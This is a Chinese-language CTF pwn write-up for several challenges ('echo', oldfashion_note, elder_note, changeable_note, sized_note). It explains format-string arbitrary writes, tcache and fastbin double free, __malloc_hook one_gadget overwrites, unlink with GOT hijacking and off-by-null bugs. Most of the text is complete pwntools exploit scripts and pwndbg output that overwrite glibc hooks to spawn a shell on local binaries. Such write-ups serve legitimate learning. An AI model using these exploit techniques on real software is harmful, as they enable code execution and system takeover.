(_start) ◂— endbr64 16 :00b 0│ 0x7fffffffdd48 —▸ 0x5555555552a4 (vuln+148 ) ◂— jmp 0x555555555233 17 :00b 8│ rsp 0x7fffffffdd50 —▸ 0x7fffffffdd70 —▸ 0x7fffffffdd80 ◂— 0x0 18 :00 c0│ 0x7fffffffdd58 ◂— 0x58555550e0 19 :00 c8│ 0x7fffffffdd60 —▸ 0x5555555592a0 ◂— '-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n' 1 a:00 d0│ 0x7fffffffdd68 ◂— 0xc441dc61c3e26500 1b :00 d8│ rbp 0x7fffffffdd70 —▸ 0x7fffffffdd80 ◂— 0x0 1 c:00e0 │ 0x7fffffffdd78 —▸ 0x5555555552c2 (main+28 ) ◂— mov eax, 0 1 d:00e8 │ 0x7fffffffdd80 ◂— 0x0 1 e:00f 0│ 0x7fffffffdd88 —▸ 0x7ffff7dea0b3 (__libc_start_main+243 )
1 2 3 4 0x555555559000 0x55555557a000 rw-p 21000 0 [heap]0x7ffff7dc3000 0x7ffff7de8000 r--p 25000 0 /usr/lib/x86_64-linux-gnu/libc-2.31 .so0x7ffff7de8000 0x7ffff7f60000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31 .so0x7ffff7f60000 0x7ffff7faa000 r--p 4 a000 19 d000 /usr/lib/x86_64-linux-gnu/libc-2.31 .so
解释一下:
1 -0x5555555592a0 -0x58 -0x7ffff7ed4142 -0x5555555592a0 -0x7ffff7dca548 -0x7fffffffdd70 -0x58555550e0 -0x5555555592a0 -0xc441dc61c3e26500 -0x7fffffffdd80 -0x5555555552c2 -(nil)-0x7ffff7dea0b3 -0x7ffff7ffc620 -0x7fffffffde78
前6个是寄存器中存放的值(在stack中也有),后续的信息才是重点
// 可以直接用后面的数据来定位,这里考虑不周,搞复杂了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 p.sendlineafter('>> ' ,'100' ) payload='-%11$p-%13$p' p.sendline(payload) p.recvuntil('-' ) main_addr=eval (p.recvuntil('-' )[:-1 ])-28 __libc_start_main=eval (p.recvuntil('\n' )[:-1 ])-243 success('main_addr >> ' +hex (main_addr)) success('__libc_start_main >> ' +hex (__libc_start_main)) pro_base=main_addr-0x12A6 libc_base=__libc_start_main-libc.sym['__libc_start_main' ] success('pro_base >> ' +hex (pro_base)) success('libc_base >> ' +hex (libc_base))
当“realloc”的参数“new_size”为“0”时,程序会执行“free”,所以考虑打“free_hook”
通常利用格式化漏洞来 WAA 需要一个条件:在两片内存空间中,最后指向的地址相同
偏移为“6”,偏移为“10”,这两处内存空间中,最后都指向“0x7fffffffdd80”
利用格式化漏洞进行修改:
目标:修改“free_hook”为“system”
第一步,把“ __libc_start_main ”修改为“free_hook”
这一步需要“偏移6”和“偏移10”的配合
先修改“偏移6”为“ __libc_start_main_in_stack ”(最后1字节)
对应的“偏移10”最终也会指向“ __libc_start_main_in_stack ”
修改“偏移10”为“free_hook”(最后4字节)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 payload = "%{}c%6$hhn\n" .format (__libc_start_main_in_stack+2 ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%10$hn\n" .format ((__free_hook >> 16 ) & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%6$hhn\n" .format (__libc_start_main_in_stack) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%10$hn\n" .format (__free_hook & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload)
第二步,把“free_hook”写入“system”
这一步需要“偏移10”和“偏移13”的配合
先修改“偏移10”为“ __free_hook ”(最后6字节,第一次不用)
对应的“偏移13”最终也会指向“ __free_hook ”
修改“偏移13”为“system”(最后6字节)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 payload = "%{}c%13$hn\n" .format ((system) & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%10$hn\n" .format (__free_hook + 2 & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%13$hn\n" .format ((system >> 16 ) & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%10$hn\n" .format (__free_hook + 4 & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%13$hn\n" .format ((system >> 32 ) & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload)
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 from pwn import *p=process('./echo' ) elf=ELF('./echo' ) libc=ELF('./libc-2.31.so' ) context(log_level='debug' ) p.sendlineafter('>> ' ,'100' ) payload='-%11$p-%13$p' p.sendline(payload) p.recvuntil('-' ) main_addr=eval (p.recvuntil('-' )[:-1 ])-28 __libc_start_main=eval (p.recvuntil('\n' )[:-1 ])-243 success('main_addr >> ' +hex (main_addr)) success('__libc_start_main >> ' +hex (__libc_start_main)) pro_base=main_addr-0x12A6 libc_base=__libc_start_main-libc.sym['__libc_start_main' ] success('pro_base >> ' +hex (pro_base)) success('libc_base >> ' +hex (libc_base)) p.sendlineafter('>> ' ,'100' ) payload='-%6$p' p.sendline(payload) p.recvuntil('-' ) rbp_val=eval (p.recvuntil('-' )[:-1 ]) __free_hook = libc_base + libc.sym["__free_hook" ] __libc_start_main_in_stack = (rbp_val & 0xFF ) + 0x18 success('__libc_start_main_in_stack >> ' +hex (__libc_start_main_in_stack)) success("__free_hook: " + hex (__free_hook)) payload = "%{}c%6$hhn\n" .format (__libc_start_main_in_stack+2 ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%10$hn\n" .format ((__free_hook >> 16 ) & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%6$hhn\n" .format (__libc_start_main_in_stack) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%10$hn\n" .format (__free_hook & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) system=libc_base+libc.sym['system' ] success("system: " + hex (system)) payload = "%{}c%13$hn\n" .format ((system) & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%10$hn\n" .format (__free_hook + 2 & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%13$hn\n" .format ((system >> 16 ) & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%10$hn\n" .format (__free_hook + 4 & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "%{}c%13$hn\n" .format ((system >> 32 ) & 0xFFFF ) p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) payload = "/bin/sh\x00" p.recvuntil("length:\n>> " ) p.sendline("100" ) p.send(payload) p.recvuntil("length:\n>> " ) p.sendline("0" ) p.interactive()
oldfashion_note
64位,dynamically,全开
十分简单的堆操作
入侵思路
“free模块”中没有置空指针,有 UAF 和 Double free 漏洞
因为程序的libc版本过高,在 Tcache 中的 Double free 有检查,所以先在 fastbin 中进行 Double free
先搭好框架:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 def delete (index ): p.sendlineafter('>> ' ,'3' ) p.sendlineafter('index?\n>> ' ,str (index)) def add (index,size,content ): p.sendlineafter('>> ' ,'1' ) p.sendlineafter('index?\n>> ' ,str (index)) p.sendlineafter('size?\n>> ' ,str (size)) p.sendafter('content?\n>> ' ,content) def show (index ): p.sendlineafter('>> ' ,'2' ) p.sendlineafter('index?\n>> ' ,str (index)) def farewell (): p.sendlineafter('>> ' ,'4' )
Tcache 的 leak 需要先把 Tcachebin 填满,接下来释放的“chunk->size”必须大于“0x80”(不在fastbin中),那么它就会进入 Unsortedbin ,可以打 Unsortedbin leak
先申请9个chunk:(7个填Tcachebin,1个leak,1个防止和合并Top chunk)
1 2 3 4 5 6 7 8 9 10 11 12 for i in range (9 ): add(i,0x100 ,'aaaa' ) for i in range (7 ): delete(i) delete(7 ) show(7 ) leak_addr=u64(p.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' )) libc_base=leak_addr-0x1ebbe0 success('leak_addr >> ' +hex (leak_addr)) success('libc_base >> ' +hex (libc_base))
“chunk8”进入 Unsortedbin
1 2 tcachebins 0x110 [ 7 ]: 0x560a87ba7900 —▸ 0x560a87ba77f0 —▸ 0x560a87ba76e0 —▸ 0x560a87ba75d0 —▸ 0x560a87ba74c0 —▸ 0x560a87ba73b0 —▸ 0x560a87ba72a0 ◂— 0x0
1 2 3 4 5 6 7 0x55d06da11000 0x55d06da32000 rw-p 21000 0 [heap] 0x7f61ab950000 0x7f61ab975000 r--p 25000 0 /usr/lib/x86_64-linux-gnu/libc-2.31 .so 0x7f61ab975000 0x7f61abaed000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31 .so 0x7f61abaed000 0x7f61abb37000 r--p 4a000 19d000 /usr/lib/x86_64-linux-gnu/libc-2.31 .so --------------------------------------------------------------------------- In [2 ]: hex (0x7f61abb3bbe0 -0x7f61ab950000 ) Out[2 ]: '0x1ebbe0'
再申请10个chunk:(7个填Tcachebin,2个Double free,1个防止和合并Top chunk)
1 2 3 4 5 6 7 8 9 for i in range (9 ): add(i,0x50 ,'aaaa' ) add(9 ,0x50 ,'/bin/sh\x00' ) for i in range (7 ): delete(i) delete(7 ) delete(8 ) delete(7 )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 tcachebins 0x60 [ 7 ]: 0x55a23e26ddb0 —▸ 0x55a23e26dd50 —▸ 0x55a23e26dcf0 —▸ 0x55a23e26dc90 —▸ 0x55a23e26dc30 —▸ 0x55a23e26da70 —▸ 0x55a23e26da10 ◂— 0x0 0x110 [ 7 ]: 0x55a23e26d900 —▸ 0x55a23e26d7f0 —▸ 0x55a23e26d6e0 —▸ 0x55a23e26d5d0 —▸ 0x55a23e26d4c0 —▸ 0x55a23e26d3b0 —▸ 0x55a23e26d2a0 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x55a23e26de00 —▸ 0x55a23e26de60 ◂— 0x55a23e26de00 0x70 : 0x0 0x80 : 0x0 unsortedbin all : 0x0 smallbins 0x50 : 0x55a23e26dac0 —▸ 0x7f8bcb966c20 (main_arena+160 ) ◂— 0x55a23e26dac0
最后把“free_hook”中写入“system”就好了(注意“/bin/sh”在第十个chunk中,不要覆盖了)
1 2 3 4 5 6 7 for i in range (7 ): add(i,0x50 ,'aaaa' ) add(10 ,0x50 ,p64(free_hook)) add(11 ,0x50 ,p64(0 )) add(12 ,0x50 ,p64(0 )) add(13 ,0x50 ,p64(system_libc))
“add(10,0x50,p64(free_hook))”执行后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pwndbg> bins tcachebins 0x60 [ 3 ]: 0x55bf1a900e70 —▸ 0x55bf1a900e10 —▸ 0x7fa9dafa3b28 (__free_hook) ◂— 0x0 0x110 [ 7 ]: 0x55bf1a900900 —▸ 0x55bf1a9007f0 —▸ 0x55bf1a9006e0 —▸ 0x55bf1a9005d0 —▸ 0x55bf1a9004c0 —▸ 0x55bf1a9003b0 —▸ 0x55bf1a9002a0 ◂— 0x0 fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x0 0x80 : 0x0 unsortedbin all : 0x0 smallbins 0x50 : 0x55bf1a900ac0 —▸ 0x7fa9dafa0c20 (main_arena+160 ) ◂— 0x55bf1a900ac0
“chunk8”和“chunk10”指向同一片内存,“add(10,0x50,p64(free_hook))”执行时,会把fastbin中的chunk写入tcachebin,然后在“chunk8->next”中写入“free_hook”(“chunk8”脱链)
最后申请“chunk10”时,会申请到“free_hook”
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 from pwn import *p=process('./note' ) elf=ELF('./note' ) libc=ELF('./libc-2.31.so' ) def delete (index ): p.sendlineafter('>> ' ,'3' ) p.sendlineafter('index?\n>> ' ,str (index)) def add (index,size,content ): p.sendlineafter('>> ' ,'1' ) p.sendlineafter('index?\n>> ' ,str (index)) p.sendlineafter('size?\n>> ' ,str (size)) p.sendlineafter('content?\n>> ' ,content) def show (index ): p.sendlineafter('>> ' ,'2' ) p.sendlineafter('index?\n>> ' ,str (index)) def farewell (): p.sendlineafter('>> ' ,'4' ) for i in range (9 ): add(i,0x100 ,'aaaa' ) for i in range (7 ): delete(i) delete(7 ) show(7 ) leak_addr=u64(p.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' )) libc_base=leak_addr-0x1ebbe0 success('leak_addr >> ' +hex (leak_addr)) success('libc_base >> ' +hex (libc_base)) system_libc=libc_base+libc.sym['system' ] free_hook=libc_base+libc.sym['__free_hook' ] success('system_libc >> ' +hex (system_libc)) success('free_hook >> ' +hex (free_hook)) for i in range (9 ): add(i,0x50 ,'aaaa' ) add(9 ,0x50 ,'/bin/sh\x00' ) for i in range (7 ): delete(i) delete(7 ) delete(8 ) delete(7 ) for i in range (7 ): add(i,0x50 ,'aaaa' ) add(10 ,0x50 ,p64(free_hook)) add(11 ,0x50 ,p64(free_hook)) add(12 ,0x50 ,p64(free_hook)) add(13 ,0x50 ,p64(system_libc)) delete(9 ) p.interactive()
PS:在 tcachebin 里面的 double free 少一个malloc检查,轻松了不少
week3 elder_note
64位,dynamically,全开
程序提供了4个选项
代码分析
“free模块”没有置空指针,可以打UAF,Double free
入侵思路
打 Double free,先搭好模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def delete (index ): p.sendlineafter('>> ' ,'3' ) p.sendlineafter('index?\n>> ' ,str (index)) def add (index,size,content ): p.sendlineafter('>> ' ,'1' ) p.sendlineafter('index?\n>> ' ,str (index)) p.sendlineafter('size?\n>> ' ,str (size)) p.sendafter('content?\n>> ' ,content) def show (index,content ): p.sendlineafter('>> ' ,'2' ) p.sendlineafter('index?\n>> ' ,str (index)) p.sendline(content) def farewell (): p.sendlineafter('>> ' ,'4' )
先打 Unsortedbin leak:
1 2 3 4 5 6 7 8 add(0 ,0x80 ,'aaaa' ) add(1 ,0x80 ,'aaaa' ) delete(0 ) show(0 ) leak_addr=u64(p.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' )) libc_base=leak_addr-0x3c4b78 success('leak_addr >> ' +hex (leak_addr)) success('libc_base >> ' +hex (libc_base))
再打 Double free:
1 2 3 4 5 6 7 8 add(0 ,0x30 ,'aaaa' ) add(2 ,0x60 ,'bbbb' ) add(3 ,0x60 ,'bbbb' ) add(4 ,0x60 ,'bbbb' ) delete(2 ) delete(3 ) delete(2 )
1 2 3 4 5 6 7 8 9 10 11 12 13 pwndbg> bins fastbins 0x20 : 0x0 0x30 : 0x0 0x40 : 0x0 0x50 : 0x0 0x60 : 0x0 0x70 : 0x559541c25120 —▸ 0x559541c25190 ◂— 0x559541c25120 0x80 : 0x0 unsortedbin all : 0x0 smallbins 0x50 : 0x559541c25040 —▸ 0x7fe5b60c3bb8 (main_arena+152 ) ◂— 0x559541c25040
最后打“malloc_hook”
我们的目标是在“malloc_hook”中写入“one_gadget”,但是不能直接 fastbin attack(因为malloc会对 fastbin chunk 的size位进行检查,free chunk 的size位必须对应相等)
这里用了一个小技巧:(拆分现成的地址来构造数据,通常为“\x7f”)
1 2 3 4 5 6 7 8 pwndbg> x/20 xw 0x7f95cd91baed +0x23 0x7f95cd91bb10 <__malloc_hook>: 0x00000000 0x00000000 0x00000000 0x00000000 0x7f95cd91bb20 <main_arena>: 0x00000000 0x00000000 0x00000000 0x00000000 -------------------------------------------------------------- pwndbg> x/20 xw 0x7f95cd91baed 0x7f95cd91baed <_IO_wide_data_0+301 >: 0x60000000 0x95cd91a2 0x0000007f 0x00000000 0x7f95cd91bafd : 0xa0000000 0x95cd5dce 0x7000007f 0x95cd5dca 0x7f95cd91bb0d <__realloc_hook+5 >: 0x0000007f 0x00000000 0x00000000 0x00000000
在“__malloc_hook”上方“0x23”的位置可以分割出“\x7f”
1 2 3 4 5 6 7 8 9 10 11 12 free_hook=libc_base+libc.sym['__free_hook' ] malloc_hook=libc_base+libc.sym['__malloc_hook' ] realloc = libc_base + libc.sym["__libc_realloc" ] system_libc=libc_base+libc.sym['system' ] one_gadget = libc_base + 0x4527a success('one_gadget >> ' +hex (one_gadget)) add(0 ,0x60 ,p64(malloc_hook - 0x23 )) add(0 ,0x60 ,p64(malloc_hook - 0x23 )) add(0 ,0x60 ,p64(malloc_hook - 0x23 )) add(0 , 0x60 , 'c' * 0xb + p64(one_gadget) + p64(realloc + 0x10 ))
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 from pwn import *p=process("./note" ) elf=ELF("./note" ) libc = ELF("./libc-2.23.so" ) def delete (index ): p.sendlineafter('>> ' ,'3' ) p.sendlineafter('index?\n>> ' ,str (index)) def add (index,size,content ): p.sendlineafter('>> ' ,'1' ) p.sendlineafter('index?\n>> ' ,str (index)) p.sendlineafter('size?\n>> ' ,str (size)) p.sendafter('content?\n>> ' ,content) def show (index ): p.sendlineafter('>> ' ,'2' ) p.sendlineafter('index?\n>> ' ,str (index)) def farewell (): p.sendlineafter('>> ' ,'4' ) add(0 ,0x80 ,'aaaa' ) add(1 ,0x80 ,'aaaa' ) delete(0 ) show(0 ) leak_addr=u64(p.recvuntil('\n' )[:-1 ].ljust(8 ,'\x00' )) libc_base=leak_addr-0x3c4b78 success('leak_addr >> ' +hex (leak_addr)) success('libc_base >> ' +hex (libc_base)) add(0 ,0x30 ,'aaaa' ) add(2 ,0x60 ,'bbbb' ) add(3 ,0x60 ,'bbbb' ) add(4 ,0x60 ,'bbbb' ) delete(2 ) delete(3 ) delete(2 ) free_hook=libc_base+libc.sym['__free_hook' ] malloc_hook=libc_base+libc.sym['__malloc_hook' ] realloc = libc_base + libc.sym["__libc_realloc" ] system_libc=libc_base+libc.sym['system' ] one_gadget = libc_base + 0x4527a success('one_gadget >> ' +hex (one_gadget)) add(0 ,0x60 ,p64(malloc_hook - 0x23 )) add(0 ,0x60 ,p64(malloc_hook - 0x23 )) add(0 ,0x60 ,p64(malloc_hook - 0x23 )) add(0 , 0x60 , 'c' * 0xb + p64(one_gadget) + p64(realloc + 0x10 )) p.sendlineafter(">> " , "1" ) p.sendlineafter(">> " , str (0 )) p.sendlineafter(">> " , str (0 )) p.interactive()
changeable_note
64位,dynamically,开了NX,开了canary
程序有4个功能
入侵思路
“free模块”置空了指针,打不了 Double free
“修改模块”模块有堆溢出,可以打 unlink攻击
先搭好模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 def delete (index ): p.sendlineafter('>> ' ,'3' ) p.sendlineafter('index?\n>> ' ,str (index)) def add (index,size,content ): p.sendlineafter('>> ' ,'1' ) p.sendlineafter('index?\n>> ' ,str (index)) p.sendlineafter('size?\n>> ' ,str (size)) p.sendafter('content?\n>> ' ,content) def edit (index,content ): p.sendlineafter('>> ' ,'2' ) p.sendlineafter('index?\n>> ' ,str (index)) p.sendline(content) def farewell (): p.sendlineafter('>> ' ,'4' )
打unlink,需要获取目标chunk的FD指针
伪造“chunk->presize”为“0”,“chunk->size”为“true_szie - 0x10”
把FD伪造为“list_add - 0x18”,把BK伪造为“list_addr - 0x10”
溢出到下一个chunk,修改“last_chunk->presize”为“true_szie - 0x10”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 notes_addr=0x4040C0 list_addr_chunk2=notes_addr+0x8 add(0 ,0xa0 ,'\n' ) add(1 ,0xa0 ,'\n' ) add(2 ,0xa0 ,'\n' ) add(3 ,0xa0 ,'\n' ) payload=p64(0 )+p64(0xa0 ) payload+=p64(list_addr_chunk2-0x18 ) payload+=p64(list_addr_chunk2-0x10 ) payload=payload.ljust(0xa0 ,'\x00' ) payload+=p64(0xa0 )+p64(0xb0 ) edit(1 ,payload) delete(2 )
1 2 3 4 pwndbg> x/20xg 0x4040C0 0x4040c0 <notes>: 0x000000000200a010 0x00000000004040b0 0x4040d0 <notes+16 >: 0x0000000000000000 0x000000000200a220 0x4040e0 <notes+32 >: 0x0000000000000000 0x0000000000000000
unlink攻击成功了,直接打GOT劫持,顺便泄露“libc_base”
劫持“free_got”为“puts”,用于泄露“libc_base”
打印“__libc_start_main”,泄露“libc_base”
修改“atoi”为“system”,获取shell
1 2 3 4 5 6 7 8 9 10 11 12 payload=p64(0 ) * 2 payload+=p64(elf.got['free' ]) + p64(elf.got['__libc_start_main' ]) payload+=p64(elf.got['atoi' ]) edit(1 , payload) edit(0 , p64(elf.sym['puts' ])[:-1 ]) delete(1 ) leak_addr = u64(p.recv(6 ).ljust(8 , '\x00' )) libc_base = leak_addr-libc.sym["__libc_start_main" ] system = libc_base + libc.sym["system" ] log.success("libc_base: " + hex (libc_base))
完整exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 from pwn import *context.log_level="debug" p=process("./note" ) elf=ELF("./note" ) libc = ELF("./libc-2.23.so" ) def delete (index ): p.sendlineafter('>> ' ,'3' ) p.sendlineafter('index?\n>> ' ,str (index)) def add (index,size,content ): p.sendlineafter('>> ' ,'1' ) p.sendlineafter('index?\n>> ' ,str (index)) p.sendlineafter('size?\n>> ' ,str (size)) p.sendafter('content?\n>> ' ,content) def edit (index,content ): p.sendlineafter('>> ' ,'2' ) p.sendlineafter('index?\n>> ' ,str (index)) p.sendline(content) def farewell (): p.sendlineafter('>> ' ,'4' ) notes_addr=0x4040C0 add(0 ,0xa0 ,'\n' ) add(1 ,0xa0 ,'\n' ) add(2 ,0xa0 ,'\n' ) add(3 ,0xa0 ,'\n' ) list_addr_chunk2=notes_addr+0x8 payload=p64(0 )+p64(0xa0 ) payload+=p64(list_addr_chunk2-0x18 ) payload+=p64(list_addr_chunk2-0x10 ) payload=payload.ljust(0xa0 ,'\x00' ) payload+=p64(0xa0 )+p64(0xb0 ) edit(1 ,payload) delete(2 ) payload=p64(0 ) * 2 payload+=p64(elf.got['free' ]) + p64(elf.got['__libc_start_main' ]) payload+=p64(elf.got['atoi' ]) edit(1 , payload) edit(0 , p64(elf.sym['puts' ])[:-1 ]) delete(1 ) leak_addr = u64(p.recv(6 ).ljust(8 , '\x00' )) libc_base = leak_addr-libc.sym["__libc_start_main" ] system = libc_base + libc.sym["system" ] log.success("libc_base: " + hex (libc_base)) edit(2 , p64(system)[:-1 ]) p.sendlineafter(">> " , '/bin/sh\x00' ) p.interactive()
sized_note
64位,dynamically,全开
IDA分析出错,直接看汇编:
代码分析
“free模块”置空了指针,掐掉了UAF
“修改模块”中的“size”,严格遵守“malloc模块”中的“size”,视乎没有堆溢出
但是它会强行把输入结束后的下一个字节覆盖为“\x00”,这种想要中断puts的行为反而造成了off-by-null漏洞
入侵思路
先搭好模板:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 def delete (index ): p.sendlineafter('>> ' ,'3' ) p.sendlineafter('index?\n>> ' ,str (index)) def add (index,size,content ): p.sendlineafter('>> ' ,'1' ) p.sendlineafter('index?\n>> ' ,str (index)) p.sendlineafter('size?\n>> ' ,str (size)) p.sendafter('content?\n>> ' ,content) def show (index ): p.sendlineafter('>> ' ,'2' ) p.sendlineafter('index?\n>> ' ,str (index)) def edit (index,content ): p.sendlineafter('>> ' ,'4' ) p.sendlineafter('index?\n>> ' ,str (index)) p.send(content) def farewell (): p.sendlineafter('>> ' ,'4' )
程序使用了libc 2.29,所以要先填满 Tcachebin
1 2 3 4 5 for i in range (0 , 11 ): add(i, 0xF8 , "a" *0xF0 +"b" *0x8 ) for i in range (3 , 10 ): delete(i)
因为程序的“show”和“edit”都只能对allocated chunk进行操作,所以多申请两个chunk(chunk1,chunk2)
1 2 3 pwndbg> bins tcachebins 0x100 [ 7 ]: 0x5635c29f0b60 —▸ 0x5635c29f0a60 —▸ 0x5635c29f0960 —▸ 0x5635c29f0860 —▸ 0x5635c29f0760 —▸ 0x5635c29f0660 —▸ 0x5635c29f0560 ◂— 0x0
1 2 3 4 5 delete(0 ) edit(1 , 'a' * 0xF0 + p64(0x200 )) delete(2 ) add(0 , 0x70 , "\n" ) add(0 , 0x70 , "\n" )
edit(1, ‘a’ * 0xF0 + p64(0x200))执行前:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 pwndbg> x/20xg 0x55a67dfb3350 0x55a67dfb3350 : 0x0000000000000100 0x0000000000000100 0x55a67dfb3360 : 0x6161616161616161 0x6161616161616161 0x55a67dfb3370 : 0x6161616161616161 0x6161616161616161 0x55a67dfb3380 : 0x6161616161616161 0x6161616161616161 0x55a67dfb3390 : 0x6161616161616161 0x6161616161616161 0x55a67dfb33a0 : 0x6161616161616161 0x6161616161616161 0x55a67dfb33b0 : 0x6161616161616161 0x6161616161616161 0x55a67dfb33c0 : 0x6161616161616161 0x6161616161616161 0x55a67dfb33d0 : 0x6161616161616161 0x6161616161616161 0x55a67dfb33e0 : 0x6161616161616161 0x6161616161616161 pwndbg> 0x55a67dfb33f0 : 0x6161616161616161 0x6161616161616161 0x55a67dfb3400 : 0x6161616161616161 0x6161616161616161 0x55a67dfb3410 : 0x6161616161616161 0x6161616161616161 0x55a67dfb3420 : 0x6161616161616161 0x6161616161616161 0x55a67dfb3430 : 0x6161616161616161 0x6161616161616161 0x55a67dfb3440 : 0x6161616161616161 0x6161616161616161 0x55a67dfb3450 : 0x6262626262626262 0x0000000000000101 0x55a67dfb3460 : 0x6161616161616161 0x6161616161616161 0x55a67dfb3470 : 0x6161616161616161 0x6161616161616161 0x55a67dfb3480 : 0x6161616161616161 0x6161616161616161
edit(1, ‘a’ * 0xF0 + p64(0x200))执行后:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 pwndbg> x/20xg 0x561f0e5bf250 0x561f0e5bf250 : 0x0000000000000000 0x0000000000000101 0x561f0e5bf260 : 0x00007f512b29eca0 0x00007f512b29eca0 0x561f0e5bf270 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf280 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf290 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf2a0 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf2b0 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf2c0 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf2d0 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf2e0 : 0x6161616161616161 0x6161616161616161 pwndbg> 0x561f0e5bf2f0 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf300 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf310 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf320 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf330 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf340 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf350 : 0x0000000000000100 0x0000000000000100 0x561f0e5bf360 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf370 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf380 : 0x6161616161616161 0x6161616161616161 pwndbg> 0x561f0e5bf390 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf3a0 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf3b0 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf3c0 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf3d0 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf3e0 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf3f0 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf400 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf410 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf420 : 0x6161616161616161 0x6161616161616161 pwndbg> 0x561f0e5bf430 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf440 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf450 : 0x0000000000000200 0x0000000000000100 0x561f0e5bf460 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf470 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf480 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf490 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf4a0 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf4b0 : 0x6161616161616161 0x6161616161616161 0x561f0e5bf4c0 : 0x6161616161616161 0x6161616161616161
